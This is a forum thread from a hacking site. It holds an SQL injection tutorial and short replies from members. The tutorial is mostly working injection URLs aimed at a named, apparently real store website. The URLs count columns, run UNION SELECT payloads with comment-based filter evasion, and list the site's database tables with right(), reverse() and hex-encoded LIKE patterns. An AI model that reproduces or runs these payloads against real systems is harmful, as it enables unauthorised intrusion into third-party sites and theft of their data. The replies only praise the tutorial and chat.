Sinisterly
[Tutorial]Some experiments on sql injection query-by Spirit - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.li/Forum-Tutorials)
+--- Thread: [Tutorial]Some experiments on sql injection query-by Spirit (/Thread-Tutorial-Some-experiments-on-sql-injection-query-by-Spirit)

Pages: 1 2


[Tutorial]Some experiments on sql injection query-by Spirit - spirited_wolf™ - 03-15-2017

[Image: ewWgefS.png]

so, hello Sinisterly members
Today i am here to share some experiments  Evil

So, let's try  Wink2

Target::

PHP Code:
http://teamgear.us/store.php?id=1


Lets start with our normal injection.

Quote:http://teamgear.us/store.php?id=1'+ORDER+By+15-- - [No-error]


Quote:http://teamgear.us/store.php?id=1'+ORDER+By+16-- - [Error]

Mean their are 15 total number of columns. so, now lest try our union select query.


PHP Code:
http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -


so, columns==> 8 :: 5 :: 3 (2) are vulnerable cheerz.
[Image: KQvJ3QE.png]

Now lets start playing with our DIOS/and its output.

we will do everything on this type::

Code:
http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,concat/**_**/(t.able_name),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database()-- -


[Image: xJf2hhb.png]
☆¸.•*☆Part 1☆¸.•*☆
About right() function:-

MySQL RIGHT() extracts a specified number of characters from the right side of a string.

Syntax:

PHP Code:
RIGHT(str,len)


Quote:str-the string from whose right side a number of characters are to be extracted.
len-An integer indicating the number of characters to be extracted from str.

so we can use

PHP Code:
concat (right(t.able_name,4<- or any thing))


so, our query will be

Code:
http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,concat (right(t.able_name,4)),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database()-- -

[Image: P8UOwdt.png]

so as you can see our table invoices is just showing the 4 characeter of table name from right side ices.

so, same as we can use left() , mid() etc.

☆¸.•*☆Part 2☆¸.•*☆
About reverse()

MySQL REVERSE() reverses a string supplied as argument.

suppose :- spirit ->after reversing->tirips

so, we can use

PHP Code:
reverse(t.able_name)

so, lets try it out Thumbsup

PHP Code:
http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,concat (reverse(t.able_name)),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database()-- -


[Image: h5cFbxj.png]

So, as you can see invoices reversed into seciovni

☆¸.•*☆Part 3☆¸.•*☆
About LIKE operator:-

So, first thanks to Janus for telling me about this.

so, the LIKE operator is used to search for a specified pattern in a column.

PHP Code:
SELECT column_name(s) FROM t able_name WHERE c olumn_name LIKE pattern;


for more details check here=> LIKE OPERATOR

so, we can use

PHP Code:
table_name like <your_pattern>

don't forget to hex your value before you use it (sometimes in single quote it doesn't work   Sarcasm  )
so, now our query will be like::

lets just print those table name which is starting with =>i
i%=> 6925 don't forget to put 0x before it

Code:
http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,group_concat/**_**/(t.able_name),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database() and t.able_name like i% <-in hex-- -

[Image: 9neFOYo.png]

Hope you learned something new in this thread  Cool
Morpheus Redirect browser traffic to Google Sphere

[NetToolkit-4.6]Android payload module

[Part 1]$~Metasploit for beginners


Special thanks to:- CrackingForums,  and to all of you.
[Image: uCLKMus.png]



RE: [Tutorial]Some experiments on sql injection query-by Spirit - Mr.Kurd - 03-15-2017

I wanna make a tutorial about this but you beat me Smile
Thank You


RE: [Tutorial]Some experiments on sql injection query-by Spirit - Bish0pQ - 03-15-2017

Nice tutorial man, keep it up with those. I'm sure they are of great help to members who are starting to learn SQLi.


RE: [Tutorial]Some experiments on sql injection query-by Spirit - Skullmeat - 03-15-2017

Its a bit cluttered tho. Try it without the quote tags?


RE: [Tutorial]Some experiments on sql injection query-by Spirit - spirited_wolf™ - 03-15-2017

(03-15-2017, 02:44 PM)Mr.Kurd Wrote: I wanna make a tutorial about this but you beat me Smile
Thank You

Haha no problem you still can make tutorials on some related topics as you already know experiments with SQL can never end's. Biggrin


RE: [Tutorial]Some experiments on sql injection query-by Spirit - spirited_wolf™ - 03-15-2017

(03-15-2017, 03:06 PM)Bish0pQ Wrote: Nice tutorial man, keep it up with those. I'm sure they are of great help to members who are starting to learn SQLi.

I hope so Biggrin I'll post some more SQLI tutorials here. Biggrin


RE: [Tutorial]Some experiments on sql injection query-by Spirit - spirited_wolf™ - 03-15-2017

(03-15-2017, 03:20 PM)Skullmeat Wrote: Its a bit cluttered tho. Try it without the quote tags?

I'm sorry i didn't get you bro.


RE: [Tutorial]Some experiments on sql injection query-by Spirit - Mr.Kurd - 03-15-2017

(03-15-2017, 06:07 PM)spirited_wolf™ Wrote:
(03-15-2017, 02:44 PM)Mr.Kurd Wrote: I wanna make a tutorial about this but you beat me Smile
Thank You

Haha no problem you still can make tutorials on some related topics as you already know experiments with SQL can never end's. Biggrin

Yeah really sql injection is really big world Smile
I will make a tutorial about bypassing redirect page while injecting but after my exams Smile


RE: [Tutorial]Some experiments on sql injection query-by Spirit - spirited_wolf™ - 03-15-2017

(03-15-2017, 03:20 PM)Skullmeat Wrote: Its a bit cluttered tho. Try it without the quote tags?

I'm sorry i didn't get you bro. I'm not good with english. Sad


RE: [Tutorial]Some experiments on sql injection query-by Spirit - spirited_wolf™ - 03-15-2017

(03-15-2017, 06:11 PM)Mr.Kurd Wrote:
(03-15-2017, 06:07 PM)spirited_wolf™ Wrote:
(03-15-2017, 02:44 PM)Mr.Kurd Wrote: I wanna make a tutorial about this but you beat me Smile
Thank You

Haha no problem you still can make tutorials on some related topics as you already know experiments with SQL can never end's. Biggrin

Yeah really sql injection is really big world Smile
I will make a tutorial about bypassing redirect page while injecting but after my exams Smile

Wow you seems like you are from India. Aren't you? and yeah SQLI have no end.